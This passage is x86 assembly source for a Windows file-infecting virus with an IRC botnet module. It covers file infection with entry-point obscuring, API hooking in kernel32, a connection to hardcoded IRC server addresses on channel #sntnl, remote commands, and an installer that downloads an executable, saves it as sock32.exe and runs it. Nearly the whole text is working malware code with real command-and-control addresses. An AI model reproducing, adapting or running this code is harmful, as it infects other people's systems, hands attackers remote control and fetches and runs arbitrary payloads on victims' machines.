cmp byte ptr [esi], '"' + jne FileNameNormal + inc esi + push esi + + GetFileNamePartBetweenQuotes: + cmp byte ptr [esi], '"' + je GetBetweenQuotes + inc esi + inc ecx + cmp ecx, 100h + ja FileNameEndNotFound + jmp GetFileNamePartBetweenQuotes + + GetBetweenQuotes: + mov edi, esi + pop esi + sub edi, esi ; esi hold start of filename + mov ecx, edi ; ecx holds size of filename + jmp StoreFileName + + FileNameNormal: + push esi + + GetNormalFileName: + cmp byte ptr [esi], ' ' + je FoundNormalFileName + inc esi + inc ecx + cmp ecx, 100h + ja FileNameEndNotFound + jmp GetNormalFileName + + FoundNormalFileName: + mov edi, esi + pop esi + sub edi, esi ; esi hold start of filename + mov ecx, edi ; ecx holds size of filename + jmp StoreFileName + + FileNameEndNotFound: + pop esi + jmp Continue + + StoreFileName: + push edi + push esi + push ecx + + mov ecx, 100h + xor eax, eax + lea edi, [ebp + filenamebuffer] + rep stosb + + pop ecx + pop esi + pop edi + + lea edi, [ebp + filenamebuffer] + rep movsb + + CheckForRem: + lea esi, [ebp + filenamebuffer] + cmp word ptr [esi], 'er' + jne FindFirstFile + inc esi + cmp word ptr [esi], 'me' + je Continue + + FindFirstFile: + lea eax, [ebp + myfinddata] ; win32 finddata structure + push eax + lea eax, [ebp + filenamebuffer] + push eax + lea eax, [ebp + AFindFirstFile] ; find the file + call GETAPI + cmp eax, 0FFFFFFFFh ; file was not found + je Continue + + cmp [ebp + debug], 00h + je InfectThisFile + xor ecx, ecx + lea esi, [ebp + myfinddata.fd_cFileName] + + CheckFileName: + cmp byte ptr [esi], 0 + je Continue + cmp dword ptr [esi], 'mmud' + je InfectThisFile + inc esi + inc ecx + cmp ecx, 100h + ja Continue + jmp CheckFileName + + InfectThisFile: + mov ecx, [ebp + myfinddata.fd_nFileSizeLow] ; ecx = filesize + mov [ebp + filesize], ecx ; save the filesize + add ecx, Leap - Start + 1000h ; filesize + virus + mov [ebp + memory], ecx ; + workspace = memory + + call INFECT_FILE + + Continue: + ret + +RESIDENT_CP2 endp + +HOOK_API proc + + ; IN: hookstruct: + ; 00 : offset api name + ; 04 : old apicodeaddress + ; 08 ; offset for old apicode + ; 12 ; offset for new apicode + ; 16 : new apicodeaddress + + FindKernelExportTable: + pushad + mov edi, [ebp + kernel32address] + add edi, dword ptr [edi + 3ch] + mov esi, dword ptr [edi + 78h] + add esi, [ebp + kernel32address] + + GetNecessaryData: + mov eax, dword ptr [esi + 18h] + add eax, [ebp + kernel32address] + mov [ebp + numberofnames], eax ; save number of names + mov eax, dword ptr [esi + 1Ch] ; get ra of table with + add eax, [ebp + kernel32address] + mov [ebp + addressoffunctions], eax ; function addresses + mov eax, dword ptr [esi + 20h] ; get ra of table with + add eax, [ebp + kernel32address] + mov [ebp+addressofnames], eax ; pointers to names + mov eax, dword ptr [esi + 24h] ; get ra of table with + add eax, [ebp + kernel32address] + mov [ebp+addressofordinals], eax ; pointers to ordinals + + BeginApiAddressSearch: + mov esi, [ebp + addressofnames] ; search for + mov [ebp + AONindex], esi ; API in names + mov edi, [esi] ; table + add edi, [ebp + kernel32address] + + HookCreateProcess: + xor ecx, ecx + + OkTryAgain: + lea ebx, [ebp + hookstruct] + mov esi, dword ptr [ebx] + + MatchByteNow: + cmpsb + jne NextOneNow + cmp byte ptr [esi], 0 ; did the entire string + je YesGotIt ; match ? + jmp MatchByteNow + + NextOneNow: + inc cx + add dword ptr [ebp + AONindex], 4 ; get next namepointer + mov esi, [ebp + AONindex] ; in table (4 dwords) + mov edi, [esi] + add edi, [ebp + kernel32address] + jmp OkTryAgain + + YesGotIt: + shl ecx, 1 + mov esi, [ebp + addressofordinals] ; ordinal = nameindex * + add esi, ecx ; size of ordinal entry + xor eax, eax ; + ordinal table base + mov ax, word ptr [esi] ; offset of address + shl eax, 2 ; of function = ordinal + mov esi, [ebp + addressoffunctions] ; * size of entry of + add esi, eax ; address table + mov edi, dword ptr [esi] ; get address + add edi, [ebp + kernel32address] + + lea eax, [ebp + hookstruct] + mov eax, dword ptr [eax + 4] + mov dword ptr [eax], edi + + SetApiHook: + mov eax, edi + shr eax, 12d + + ModifyPagePermissions: + push 20060000h + push 00000000h + push 00000001h + push eax + push 0001000dh + call dword ptr [ebp + AVxdcall0A] + + cmp eax, 0FFFFFFFh + jne SaveCreateProcessApiCode + xor eax, eax + jmp ApiHookError + + SaveCreateProcessApiCode: + lea esi, [ebp + hookstruct] + mov esi, dword ptr [esi + 4] + mov esi, dword ptr [esi] + lea edi, [ebp + hookstruct] + mov edi, dword ptr [edi + 8] + mov ecx, 06h + rep movsb + + PrepareCreateProcessApiCode: + lea esi, [ebp + hookstruct] + mov esi, dword ptr [esi + 12] + mov byte ptr [esi], 68h + inc esi + lea eax, [ebp + hookstruct] + mov eax, dword ptr [eax + 16] + mov eax, dword ptr [eax] + mov dword ptr [esi], eax + add esi, 04h + mov byte ptr [esi], 0c3h + + ChangeCreateProcessApiCode: + lea edi, [ebp + hookstruct] + mov edi, dword ptr [edi + 4] + mov edi, dword ptr [edi] + lea esi, [ebp + hookstruct] + mov esi, dword ptr [esi + 12] + mov ecx, 06h + rep movsb + + ApiHookError: + popad + ret + +HOOK_API endp + +CREATE_EPO proc + + LocateCodeSectionHeader: + mov eax, [ebp + ip_original] + call FIND_SECTION + or eax, eax + jz ExitEpoRoutine + + ; edi = start of code section header + + GetPointerToRawData: + mov eax, dword ptr [edi + 12d] ; eax = rva cs + mov [ebp + epo_cs_rva], eax + + mov ecx, dword ptr [edi + 16d] ; raw size of code section + mov [ebp + cs_rawsize], ecx + mov edx, dword ptr [edi + 20d] ; RVA to raw data of code section + add edx, [ebp + mapaddress] + mov [ebp + epo_cs_pa], edx + mov esi, edx + + mov eax, [ebp + ip_original] + mov edx, [ebp + epo_cs_rva] + sub eax, edx + add esi, eax + sub ecx, eax + + ; esi = physical address to raw data of code section + ; ecx = size of raw data of code section + + ScanForOpcode: + lodsw + dec esi + + cmp word ptr [ebp + epo_opcode], ax + je FoundOpcode + loop ScanForOpcode + xor eax, eax ; eax = 0 = error + jmp ExitEpoRoutine ; not found + + FoundOpcode: + dec ecx + push esi + push ecx + inc esi + + ; esi = physical address of [xxxx] in code section + + ExamineAddress: + mov [ebp + epo_aoc_pa], esi ; address of call + mov eax, dword ptr [esi] + mov [ebp + epo_awaa_va], eax ; address where api address + + ;pushad + ;call MSG_BEEP + ;popad + + ; on stack: esi, ecx + + GetRVAImportTable: + mov esi, [ebp + PEheader] + mov eax, [esi + 80h] ; rva of import table + call FIND_SECTION + or eax, eax + jz NotFound + + ; edx = va of import section + ; ecx = size of import section + ; on stack: esi, ecx + + CompareAddressToImportAddress: + mov esi, [ebp + epo_awaa_va] + cmp edx, esi + jb CheckNotAbove + jmp NotFound + + CheckNotAbove: + add edx, ecx + cmp edx, esi + ja FoundGoodInsertionPoint + + NotFound: + pop ecx + pop esi + jmp ScanForOpcode + + FoundGoodInsertionPoint: + mov eax, 0ah + call GET_RANDOM_NUMBER_WITHIN + cmp eax, 3h + ja NotFound + + pop ecx + pop esi + mov eax, 01h + + ; eax == 0 -> error + ; eax == 1 -> found + + ExitEpoRoutine: + ret + +CREATE_EPO endp + +FIND_USER32_BASE_ADDRESS proc + + GetUser32Base: + lea eax, [ebp + user32] + push eax + lea eax, [ebp + ALoadLibrary] + call GETAPI + mov [ebp + user32address], eax + ret + +FIND_USER32_BASE_ADDRESS endp + +FIND_WSOCK32_BASE_ADDRESS proc + + LoadWsock32: + lea eax, [ebp + wsock32] ; not found, then + push eax ; load the dll + lea eax, [ebp + ALoadLibrary] ; first + call GETAPI + mov [ebp + wsock32address], eax + ret + +FIND_WSOCK32_BASE_ADDRESS endp + +FIND_SECTION proc + + ; In: eax - rva somewhere in section + ; Out: edx - va of section start + ; Out: ecx - size of section + ; out: edi - va of section header + + FindFirstSectionHeader: + mov esi, [ebp + mapaddress] + add esi, dword ptr [esi + 3ch] ; esi=offset peheader + movzx ecx, word ptr [esi + 06h] ; ecx = nr. of sections + movzx edi, word ptr [esi + 20d] ; optional header size + add esi, 24d ; file header size + add edi, esi + + ; edi points to first section header + + FindCorrespondingSection: + push eax + mov edx, dword ptr [edi + 12d] ; section RVA + sub eax, edx + cmp eax, dword ptr [edi + 08d] ; section size + jb SectionFound + + NotThisSection: + pop eax + add edi, 40d + loop FindCorrespondingSection + + EndSectionSearch: + xor eax, eax + ret + + SectionFound: + pop eax + mov edx, dword ptr [edi + 12d] + add edx, [ebp + imagebase] + mov ecx, dword ptr [edi + 08d] + ret + +FIND_SECTION endp + +GET_RANDOM_NUMBER proc + + push eax ebx + lea eax, [ebp + AGetTickCount] + call GETAPI + + lea ebx, [ebp + random_number] ; EBX = pointer to random_number + mul dword ptr [ebx] ; Multiply previous miliseconds with + sbb edx,eax ; Add low-order word of 32-bit random + cmc ; Complement carry flag + adc [ebx],edx ; Store 32-bit random number + pop ebx eax + ret + +GET_RANDOM_NUMBER endp + +GET_RANDOM_NUMBER_WITHIN proc + + push ebx + call GET_RANDOM_NUMBER + xchg eax,ebx ; EBX = number in range + xor eax,eax ; Zero EAX + xchg eax,edx ; EDX = 32-bit random number + div ebx ; EAX = random number within range + pop ebx + xchg eax, edx + ret + +GET_RANDOM_NUMBER_WITHIN endp + + +CAVITYSEARCH proc + +;----------------------------------------------------------------------------- +; Cavity search engine by Benny and Darkman of 29A +; +; Calling parameters: +; ECX = size of search area +; ESI = pointer to search area +; +; Return parameters: +; ESI = pointer to cave + + CSE: + pushad + mov ebp, 14d ; EBP = size of cave wanted + lodsb ; AL = byte within search area + + reset_cavity_loop: + xchg eax,ebx ; BL = " " " " + xor edx,edx ; Zero EDX + dec ecx ; Decrease counter + cmp ecx,ebp ; Unsearched search area large enough? + jb no_cave_found ; Below? Jump to no_cave_found + + find_cave_loop: + lodsb ; AL = byte within search area + cmp al,bl ; Current byte equal to previous byte? + jne reset_cavity_loop ; Not equal? Jump to reset_cavity_loop + inc edx ; Increase number of bytes found in + ; cave + cmp edx,ebp ; Found a cave large enough? + jne find_cave_loop ; Not equal? Jump to find_cave_loop + sub esi,ebp ; ESI = pointer to cave + jmp exit_cave + + no_cave_found: + xor esi, esi + + exit_cave: + mov [esp + 4],esi + popad + ret + +;----------------------------------------------------------------------------- + +CAVITYSEARCH endp + + +names dd 30d +name1 db 'pion',0 +name2 db 'sarge',0 +name3 db 'blink',0 +name4 db 'midge',0 +name5 db 'xaero',0 +name6 db 'void',0 +name7 db 'vivid',0 +name8 db 'xeon',0 +name9 db 'n0bs',0 +name10 db 'helios',0 +name11 db 'phobos',0 +name12 db 'flux',0 +name13 db 'hypno',0 +name14 db 'bond',0 +name15 db 'chaos',0 +name16 db 'blup',0 +name17 db 'sntnl',0 +name18 db 'fire',0 +name19 db 'water',0 +name20 db 'earth',0 +name21 db 'heart',0 +name22 db 'stone',0 +name23 db 'light',0 +name24 db 'love',0 +name25 db 'silver',0 +name26 db 'surfer',0 +name27 db 'panic',0 +name28 db 'm00dy',0 +name29 db 'texas',0 +name30 db 'snow',0 +name31 db 'beta',0 + +servers dd 04d +server1 db "195.112.4.25",0 +server2 db "195.159.135.99",0 +server3 db "195.121.6.196",0 +server4 db "154.11.89.164",0 +server5 db "205.188.149.3",0 + +port1 dd 7000d +port2 dd 6660d +port3 dd 6660d +port4 dd 6661d +port5 dd 6667d + +GET_ITEM_FROM_LIST proc + + ; IN: eax = total number of items + ; esi = offset of first item + ; OUT: esi = pntr to start of item + ; ecx = size of item + ; eax = random number + + GetItemFromList: + push edi + push esi + call GET_RANDOM_NUMBER_WITHIN + mov ecx, eax + pop esi + push eax + or ecx, ecx + jz GetSizeOfItem + + GetPositionOfItem: + push ecx + call GET_STRING_SIZE + add esi, ecx + inc esi + pop ecx + loop GetPositionOfItem + + GetSizeOfItem: + call GET_STRING_SIZE + pop eax + pop edi + ret + +GET_ITEM_FROM_LIST endp + +IRC_LAUNCH proc + + IRCLaunch: + cmp [ebp + ircstatus], 00h + je CreateIRCThread + ret + + CreateIRCThread: + lea eax, [ebp + ircthreadid] + push eax + push 00h + push 01h + lea eax, [ebp + IRC_THREAD] + push eax + push 00h + push 00h + lea eax, [ebp + ACreateThread] + call GETAPI + mov [ebp + ircstatus], 01h + ret + +IRC_LAUNCH endp + +IRC_THREAD proc handle: dword + + IrcThreadEntryPoint: + pushad + call GetIrcDelta + + GetIrcDelta: + pop ebp + sub ebp, offset GetIrcDelta + + GetWSock32Base: + call FIND_GETPROCADDRESS_API_ADDRESS + call FIND_WSOCK32_BASE_ADDRESS + + LoadWinInetDll: + lea eax, [ebp + wininet] + push eax + lea eax, [ebp + ALoadLibrary] + call GETAPI + or eax, eax + jz UserIsOffline + + FindConnectionApiAddress: + lea ebx, [ebp + AInternetGetConnectedState] + push ebx + push eax + call [ebp + AGetProcAddressA] + or eax, eax + jz UserIsOffline + + CheckConnection: + push 00h + lea ebx, [ebp + buffer] + push ebx + call eax + or eax, eax + jnz UserIsOnline + + UserIsOffline: + push 10000h + lea eax, [ebp + ASleep] + call GETAPI + jmp LoadWinInetDll + + UserIsOnline: + lea eax, [ebp + mywsadata] + push eax + push 101h + lea eax, [ebp + AWSAStartup] + call GETWAPI + + OpenSocket: + push 00h + push SOCK_STREAM + push AF_INET + lea eax, [ebp + Asocket] + call GETWAPI + mov [ebp + socketh], eax + + GetSocketValues: + mov [ebp + mysocket.sin_family], AF_INET + mov eax, [ebp + servers] + lea esi, [ebp + server1] + call GET_ITEM_FROM_LIST + push esi + push ecx + + GetPort: + lea esi, [ebp + port1] + mov ecx, 04 + mul ecx + add esi, eax + mov edx, dword ptr [esi] + + push edx + lea eax, [ebp + Ahtons] + call GETWAPI + mov [ebp + mysocket.sin_port], ax + + pop ecx + lea eax, [ebp + Ainet_addr] + call GETWAPI + mov [ebp + mysocket.sin_addr], eax + + Connect: + push 10h + lea eax, [ebp + mysocket] + push eax + push [ebp + socketh] + lea eax, [ebp + Aconnect] + call GETWAPI + test eax, eax + jnz Connect + + LogonToIrcServer: + call LOGON + + DoTheLoop: + call IRC_RECEIVE + or eax, eax + jz CloseSocket + jmp DoTheLoop + + CloseSocket: + push [ebp + socketh] + lea eax, [ebp + Aclosesocket] + call GETWAPI + + WSACleanUp: + lea eax, [ebp + AWSACleanup] + call GETWAPI + + ExitThread: + popad + ret + +IRC_THREAD endp + +LOGON proc near + + call IRC_RECEIVE + + SendNick: + lea edi, [ebp + offset buffer] + lea esi, [ebp + offset nick] + mov ecx, 05h + rep movsb + lea esi, [ebp + name1] + mov eax, [ebp + names] + call GET_ITEM_FROM_LIST + rep movsb + mov ebx, 10d + call GET_RANDOM_NUMBER_WITHIN + add eax, 48d + mov byte ptr [edi], al + inc edi + mov ebx, 10d + call GET_RANDOM_NUMBER_WITHIN + add eax, 48d + mov byte ptr [edi], al + inc edi + lea esi, [ebp + crlf] + mov ecx, 03h + rep movsb + lea esi, [ebp + buffer] + call GET_STRING_SIZE + call IRC_SEND + + call IRC_RECEIVE + + SendUser: + lea edi, [ebp + buffer] + lea esi, [ebp + user1] + mov ecx, 05d + rep movsb + call CREATE_RANDOM_NAME + lea esi, [ebp + user2] + mov ecx, 18d + rep movsb + lea esi, [ebp + buffer] + call GET_STRING_SIZE + call IRC_SEND + + call IRC_RECEIVE + call IRC_RECEIVE + + SendJoin: + lea esi, [ebp + join] + mov ecx, 13d + call IRC_SEND + + PostVersionMessage: + call .PostVersion + + LogonDone: + ret + +LOGON endp + +IRC_RECEIVE proc + + push 00h + push 400h + lea eax, [ebp + buffer] + push eax + push [ebp + socketh] + lea eax, [ebp + ARecv] + call GETWAPI + mov [ebp + nrbytes], eax + call IRC_SCANBUFFER + ret + +IRC_RECEIVE endp + +IRC_SEND proc + + ; esi = snd buffer + ; ecx = size to send + + push 00h + push ecx + push esi + push [ebp + socketh] + lea eax, [ebp + ASend] + call GETWAPI + ret + +IRC_SEND endp + + +.PostVersion: + lea edi, [ebp + buffer] + lea esi, [ebp + post] + mov ecx, 16d + rep movsb + lea esi, [ebp + post_vers] + mov ecx, 5d + rep movsb + lea esi, [ebp + version] + mov ecx, 4d + rep movsb + lea esi, [ebp + crlf] + mov ecx, 03d + rep movsb + lea esi, [ebp + buffer] + call GET_STRING_SIZE + call IRC_SEND + ret + +.RespondPing: + lea edi, [ebp + buffer] + lea esi, [ebp + pong] + mov ecx, 04h + rep movsb + mov ecx, [ebp + nrbytes] + lea esi, [ebp + buffer] + call IRC_SEND + +.RespondPing_End: + ret + +IRC_SCANBUFFER proc + + ; IN esi: buffer start + ; ecx: buffer size + + ScanDaBuffer: + mov ecx, [ebp + nrbytes] + lea esi, [ebp + buffer] + + .PingPongMessage: + cmp dword ptr [esi], 'GNIP' + jne GetReplyNick + call .RespondPing + jmp EndLoop + + GetReplyNick: + jecxz EndLoop + inc esi + dec ecx + cmp byte ptr [esi], '!' + je ExtractReplyNick + cmp byte ptr [esi], ':' + je EndLoop + jmp GetReplyNick + + ExtractReplyNick: + push esi + push ecx + mov ecx, esi + lea esi, [ebp + buffer] + sub ecx, esi + dec ecx + inc esi + lea edi, [ebp + replynick] + rep movsb + mov byte ptr [edi], 00h + pop ecx + pop esi + + ScanLoop: + jecxz EndLoop + cmp dword ptr [esi], 'VIRP' + je SearchTextStart + inc esi + dec ecx + jmp ScanLoop + + SearchTextStart: + jecxz EndLoop + cmp byte ptr [esi], ':' + je .CommandMessage + inc esi + dec ecx + jmp SearchTextStart + + .CommandMessage: + inc esi + dec ecx + cmp dword ptr [esi], 's54p' + jne EndLoop + + GetText: + add esi, 5 + sub ecx, 5 + cmp byte ptr [esi], '/' + jne EndLoop + + CheckIncomingCommandMessage: + inc esi + dec ecx + cmp dword ptr [esi], 'kc1n' + je CreateRandomNick + cmp dword ptr [esi], 't1uq' + je QuitIrc + cmp dword ptr [esi], 'c3xe' + je LaunchInstaller + cmp dword ptr [esi], 't4ts' + je InstallerStatus + call IRC_SEND + jmp EndLoop + + CreateRandomNick: + lea edi, [ebp + mynick] + call CREATE_RANDOM_NAME + mov byte ptr [edi], 00h + lea edi, [ebp + buffer] + mov dword ptr [edi], 'KCIN' + add edi, 04h + mov byte ptr [edi], ' ' + inc edi + lea esi, [ebp + mynick] + call GET_STRING_SIZE + rep movsb + lea esi, [ebp + crlf] + mov ecx, 03h + rep movsb + lea esi, [ebp + buffer] + call GET_STRING_SIZE + call IRC_SEND + jmp EndLoop + + QuitIrc: + lea esi, [ebp + quit] + mov ecx, 06h + call IRC_SEND + xor eax, eax + jmp EndLoop + + LaunchInstaller: + call INSTALLER_LAUNCH + jmp EndLoop + + InstallerStatus: + call INSTALLER_STATUS + + EndLoop: + ret + +IRC_SCANBUFFER endp + + + version db "0101",0 + post db "PRIVMSG #sntnl :",0 + post_vers db "vers ",0 + mynick db 5h dup(0) + replynick db 5h dup(0) + + nrbytes dd 0 + ircstatus dd 0 + ircthreadid dd 0 + + wsock32 db "WSOCK32.dll",0 + wininet db "WININET.dll",0 + + ASend db "send",0 + ARecv db "recv",0 + AWSAGetLastError db "WSAGetLastError",0 + AWSAGetLastErrorA dd 0 + AInternetGetConnectedState db "InternetGetConnectedState",0 + ACreateThread db "CreateThread",0 + AWSAStartup db "WSAStartup",0 + AWSACleanup db "WSACleanup",0 + Asocket db "socket",0 + Aconnect db "connect",0 + Aclosesocket db "closesocket",0 + Ahtons db "htons",0 + Ainet_addr db "inet_addr",0 + AGetTickCount db "GetTickCount",0 + AGetLastError db "GetLastError",0 + ASleep db "Sleep",0 + + random_number dd 01234567h + ipaddress db "212.43.217.183",0 + + ; if the bot does not appear online in #sentinel, try using a different + ; server ip-address. + + user1 db "USER ",0 + user2 db " bb cc sentinel",0dh,0ah + nick db "NICK ",0 + pong db "PONG",0 + join db "JOIN #sntnl",0dh,0ah + quit db "QUIT",0dh,0ah + crlf db 0dh, 0ah,0 + dots db ' :',0 + socketh dd 0 + buffer db 400h dup(0) + + mywsadata WSADATA <> + mysocket SOCKADDR <> + +CREATE_RANDOM_NAME proc + + ; IN: edi = place to put 5 rnd chars + + call GetRandomChar + call GetRandomChar + call GetRandomChar + call GetRandomChar + call GetRandomChar + ret + + GetRandomChar: + mov eax, 26d + call GET_RANDOM_NUMBER_WITHIN + add eax, 97d + mov byte ptr [edi], al + inc edi + ret + +CREATE_RANDOM_NAME endp + +GET_STRING_SIZE proc + + GetStringSize: + xor ecx, ecx + + SearchEndOfString: + cmp byte ptr [esi + ecx], 0h + je StringSizeFound + inc ecx + jmp SearchEndOfString + + StringSizeFound: + ret + +GET_STRING_SIZE endp + +INSTALLER_LAUNCH proc + + LaunchTheInstaller: + add esi, 05h + sub ecx, 05h + + GetServerValue: + cmp byte ptr [esi], '[' + jne ExitInstallerLaunch + inc esi + + FoundServerValueStart: + mov edi, esi + xor edx, edx + + GetServerLoop: + cmp byte ptr [esi], ']' + je StoreServerValue + inc esi + inc edx + dec ecx + cmp ecx, 00h + je ExitInstallerLaunch + jmp GetServerLoop + + StoreServerValue: + mov esi, edi + push ecx + lea edi, [ebp + installer_server] + mov ecx, edx + rep movsb + pop ecx + + GetGetCommand: + cmp byte ptr [esi], '[' + je FilterGetCommand + inc esi + dec ecx + cmp ecx, 00h + je ExitInstallerLaunch + jmp GetGetCommand + + FilterGetCommand: + inc esi + mov edi, esi + xor edx, edx + + GetCommandLoop: + cmp byte ptr [esi], ']' + je SaveGetCommand + inc esi + inc edx + dec ecx + cmp ecx, 00h + je ExitInstallerLaunch + jmp GetCommandLoop + + SaveGetCommand: + mov [ebp + installer_getsize], edx + mov esi, edi + mov ecx, edx + lea edi, [ebp + installer_get] + rep movsb + + InstallerGo: + mov [ebp + installer_launchstatus], 00h + lea eax, [ebp + installerthreadid] + push eax + push 00h + push 1234567h + lea eax, [ebp + INSTALLER_THREAD] + push eax + push 10000h + push 00h + lea eax, [ebp + ACreateThread] + call GETAPI + + ExitInstallerLaunch: + ret + +INSTALLER_LAUNCH endp + +INSTALLER_RECEIVE proc + + SaveStack: + pushad + + ReceiveData: + push edi + mov eax, [ebp + nrbytes2] + mov esi, dword ptr [ebp + dmHnd] + add esi, eax + push 00h + push edi + push esi + push [ebp + isocketh] + lea eax, [ebp + ARecv] + call GETWAPI + add [ebp + nrbytes2], eax + pop edi + + mov ecx, eax + inc ecx + jnz InstallerProceed + + call [ebp + AWSAGetLastErrorA] + cmp eax,2733h + je ReceiveData + + InstallerProceed: + popad + ret + +INSTALLER_RECEIVE endp + +INSTALLER_STATUS proc + + CheckInstallerStatus: + cmp [ebp + installer_launchstatus], 00h + je StatusWaiting + cmp [ebp + installer_launchstatus], 01h + je StatusInstalling + cmp [ebp + installer_launchstatus], 02h + je StatusDone + cmp [ebp + installer_launchstatus], 03h + je StatusConnectionError + cmp [ebp + installer_launchstatus], 04h + je StatusSizeError + jmp ExitInstallerStatus + + StatusWaiting: + push 00h + push 28d + lea eax, [ebp + installer_stat00] + push eax + push [ebp + socketh] + lea eax, [ebp + ASend] + call GETWAPI + jmp ExitInstallerStatus + + StatusInstalling: + push 00h + push 31d + lea eax, [ebp + installer_stat01] + push eax + push [ebp + socketh] + lea eax, [ebp + ASend] + call GETWAPI + jmp ExitInstallerStatus + + StatusDone: + push 00h + push 25d + lea eax, [ebp + installer_stat02] + push eax + push [ebp + socketh] + lea eax, [ebp + ASend] + call GETWAPI + jmp ExitInstallerStatus + + StatusConnectionError: + push 00h + push 38d + lea eax, [ebp + installer_stat03] + push eax + push [ebp + socketh] + lea eax, [ebp + ASend] + call GETWAPI + jmp ExitInstallerStatus + + StatusSizeError: + push 00h + push 31d + lea eax, [ebp + installer_stat04] + push eax + push [ebp + socketh] + lea eax, [ebp + ASend] + call GETWAPI + + ExitInstallerStatus: + ret + +INSTALLER_STATUS endp + +INSTALLER_THREAD proc handle: dword + + GetInstallerDelta: + pushad + call InstallerDelta + + InstallerDelta: + pop ebp + sub ebp, offset InstallerDelta + + AllocateExeMem: + push 1000000h + push GMEM_FIXED + lea eax, [ebp + AGlobalAlloc] + call GETAPI + + mov [ebp + dmHnd], eax + or eax, eax + jz ExitInstaller + + InstallerWsaStartup: + lea eax, [ebp + mywsadata] + push eax + push 101h + lea eax, [ebp + AWSAStartup] + call GETWAPI + + InstallerOpenSocket: + push 00h + push 01h + push 02h + lea eax, [ebp + Asocket] + call GETWAPI + mov [ebp + isocketh], eax + + InstallerGetSocketValues: + mov [ebp + mysocket2.sin_family], 02h + push 80 + lea eax, [ebp + Ahtons] + call GETWAPI + mov [ebp + mysocket2.sin_port], ax + + lea eax, [ebp + installer_server] + push eax + lea eax, [ebp + Ainet_addr] + call GETWAPI + mov [ebp + mysocket2.sin_addr], eax + xor ecx, ecx + + InstallerConnect: + cmp ecx, 03h + je InstallerConnectionError + push ecx + + push 10h + lea eax, [ebp + mysocket2] + push eax + push [ebp + isocketh] + lea eax, [ebp + Aconnect] + call GETWAPI + + pop ecx + or eax, eax + jz InstallerSendGetCommand + inc ecx + jmp InstallerConnect + + InstallerConnectionError: + mov [ebp + installer_launchstatus], 03h + jmp ExitInstaller + + InstallerSendGetCommand: + push 00h + push [ebp + installer_getsize] + lea eax, [ebp + installer_get] + push eax + push [ebp + isocketh] + lea eax, [ebp + ASend] + call GETWAPI + + push 00h + push 02h + lea eax, [ebp + crlf] + push eax + push [ebp + isocketh] + lea eax, [ebp + ASend] + call GETWAPI + + push 00h + push 02h + lea eax, [ebp + crlf] + push eax + push [ebp + isocketh] + lea eax, [ebp + ASend] + call GETWAPI + + mov [ebp + installer_launchstatus], 01h + mov [ebp + nrbytes2], 00h + mov ecx, 1000000h + + ReceiveLoop: + cmp ecx, 400h + jna LastPart + sub ecx, 400h + mov edi, 400h + call INSTALLER_RECEIVE + jmp ReceiveLoop + + LastPart: + mov edi, ecx + call INSTALLER_RECEIVE + + SearchMz: + xor ecx, ecx + mov edi, dword ptr [ebp + dmHnd] + + MzLoop: + cmp word ptr [edi], 'ZM' + je FoundExeMark + inc edi + inc ecx + + cmp ecx, 200h + ja SearchZm + jmp MzLoop + + SearchZm: + xor ecx, ecx + mov edi, dword ptr [ebp + dmHnd] + + ZmLoop: + cmp word ptr [edi], 'MZ' + je FoundExeMark + inc edi + inc ecx + + cmp ecx, 200h + ja InstallerCloseSocket + jmp ZmLoop + + FoundExeMark: + mov [ebp + skip], ecx + + ZeroWindirString: + mov ecx, 100h + xor eax, eax + lea edi, [ebp + windir] + rep stosb + + InstallerGetSetWindowsDirectory: + call GET_WINDIR + call SET_WINDIR + + push 00h + push 20h + push 02h + push 00h + push 01h + push 80000000h or 40000000h + lea eax, [ebp + commandline] + push eax + lea eax, [ebp + ACreateFile] + call GETAPI + mov [ebp + ifilehandle], eax + + push 02h + push 00h + push 00h + push eax + lea eax, [ebp + ASetFilePointer] + call GETAPI + + mov edi, dword ptr [ebp + dmHnd] + add edi, [ebp + skip] + mov ebx, [ebp + nrbytes2] + sub ebx, [ebp + skip] + + push 00h + lea edx, [ebp + bytesread] + push edx + push ebx + push edi + push [ebp + ifilehandle] + lea eax, [ebp + AWriteFile] + call GETAPI + + InstallerGetRealSize: + lea ebx, [ebp + irealsize] + push ebx + push [ebp + ifilehandle] + lea eax, [ebp + AGetFileSize] + call GETAPI + mov [ebp + irealsize], eax + + InstallerCloseFile: + push [ebp + ifilehandle] + lea eax, [ebp + ACloseHandle] + call GETAPI + + GetFileSize: + mov edi, dword ptr [ebp + dmHnd] + xor ecx, ecx + + InstallerFileSizeLoop: + cmp dword ptr [edi], ':htg' + je InstallerFoundSize + inc ecx + inc edi + cmp ecx, 200h + je InstallerCloseSocket + jmp InstallerFileSizeLoop + + InstallerFoundSize: + xor ecx, ecx + add edi, 05h + mov [ebp + sizestart], edi + + ExtractFileSizeLoop: + cmp word ptr [edi], 0a0dh + je FoundEndOfSizeString + inc edi + inc ecx + cmp ecx, 10h + je InstallerCloseSocket + jmp ExtractFileSizeLoop + + FoundEndOfSizeString: + cld + mov [ebp + sizesize], ecx + mov [ebp + ifilesize], 00h + mov ebx, 01h + mov esi, [ebp + sizestart] + add esi, ecx + sub esi, 01h + + Convert2Int: + xor eax, eax + lodsb + sub eax,'0' + mul ebx + add [ebp + ifilesize], eax + add edx, eax + dec esi + dec esi + dec ecx + cmp ecx, 00h + je InstallerCheckFileSize + push ecx + push esi + mov ecx, 10d + mov eax, ebx + mul ecx + mov ebx, eax + pop esi + pop ecx + jmp Convert2Int + + InstallerCheckFileSize: + mov esi, [ebp + ifilesize] + mov edi, [ebp + irealsize] + cmp esi, edi + je ExecuteFile + mov [ebp + installer_launchstatus], 04h + jmp InstallerCloseSocket + + ExecuteFile: + lea eax, [ebp + lpProcessInformation] + push eax + lea eax, [ebp + lpStartupInfo] + push eax + push 00h + push 00h + push CREATE_DEFAULT_ERROR_MODE + push FALSE + lea eax, [ebp + lpThreadAttributes] + push eax + lea eax, [ebp + lpProcessAttributes] + push eax + lea eax, [ebp + commandline] + push eax + push 00h + lea eax, [ebp + ACreateProcess] + call GETAPI + mov [ebp + installer_launchstatus], 02h + + InstallerCloseSocket: + push [ebp + isocketh] + lea eax, [ebp + Aclosesocket] + call GETWAPI + + lea eax, [ebp + AWSACleanup] + call GETWAPI + + ExitInstaller: + popad + ret + +INSTALLER_THREAD endp + +FALSE = 0 + TRUE = 1 + + lpProcessInformation PROCESS_INFORMATION <> + lpStartupInfo STARTUPINFO <> + lpThreadAttributes SECURITY_ATTRIBUTES <> + lpProcessAttributes SECURITY_ATTRIBUTES <> + mysocket2 SOCKADDR <> + + AWriteFile db "WriteFile",0 + ACreateProcess db "CreateProcessA",0 + AGlobalAlloc db "GlobalAlloc",0 + + + commandline db "sock32.exe",0 + + windir db 100h dup(0) + skip dd 0 + sizestart 